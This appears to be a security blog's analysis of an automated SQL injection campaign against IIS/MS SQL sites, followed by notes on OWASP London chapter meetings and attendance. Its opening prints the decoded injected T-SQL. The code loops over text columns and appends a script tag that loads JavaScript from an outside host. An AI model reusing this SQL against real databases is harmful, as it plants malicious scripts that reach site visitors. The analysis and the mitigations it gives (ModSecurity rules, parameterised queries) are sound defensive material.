If you decode the CAST values, here is the actual SQL that is being injected:

DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor CURSOR FOR select a.name,b.name 
from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 
or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM  Table_Cursor INTO @T,@C 
WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+'
]))+''<script src=http://c.uc8010.com/0.js></script>''')FETCH NEXT FROM  
Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor DECLARE @T 
varchar(255),@C

Mitigation Options

There are many remediation steps that can and should be taken.

Immediate Fix: Use ModSecurity and the Core Rules

If these web sites were front-ended by an Apache reverse proxy server (with ModSecurity and the Core Rules) then the back-end IIS/MS SQL application servers would have been protected against this attack. The free Core Rules, which are available for download from the the ModSecurity web site, include SQL injection rules that would have identified and blocked this specific automated attack. Specifically, Rule ID 950001 in the modsecurity_crs_40_generic_attacks.conf file would have triggered on the "cast(" portion of the SQL injection string.

Mid-Term/Long-Term Fix: Correct the Code

Web developers should identify and correct any Input Validation errors in their code, and make sure the SQL queries are sent to the database in a safe manner (which typically translates to using binding to pass parameters).

We've had a couple of very interesting presentations on the OWASP London Chapter December 6th meeting. They are now available for download from the Chapter page or directly from here:

• Adrian Pastor: Cracking into embedded devices and beyond!
• Rodrigo Marcos: Blind SQL Injection: Optimization Techniques

Getting good turnout at OWASP London meetings is traditionally difficult. There were 13 people attending the meeting in September (the first meeting I organised) with 18 people showing up in December. (Is this a positive trend? Probably too early to tell.) Some other Chapters don't seem to have problems with low attendance (for example those in Belgium, Israel, New York, to name a few) but having 18 people turn up -- in spite of the horrible weather we've had on the day -- is a success in London.

I am sure there is no shortage of people in London interested in computer security but finding a way to get them to attend OWASP meetings still eludes us. Adrian, one of the speakers at the most recent meeting, shares the sentiment in his blog post. So does Daniel, who had started the Chapter and organised many of its meetings:

Having started the OWASP London chapter and sorted a few London meetings, I can tell you it's a damn hard job. The problem with London is that everyone is busy, and after a long day you often feel like going home and relaxing with the family/wife/girlfriend/boyfriend etc. It sucks, I wish it was more like the US side of things, but it's a price you pay for being in such an aggressive market.

I am sure of a few things, though: hard work and persistence are the essential ingredients. Our biggest problem, however, may be with the lack of proper marketing. I am guessing most of the people who would be interested in attending have no idea about the meetings at all. Oh, well. One more thing to add to my to-do list!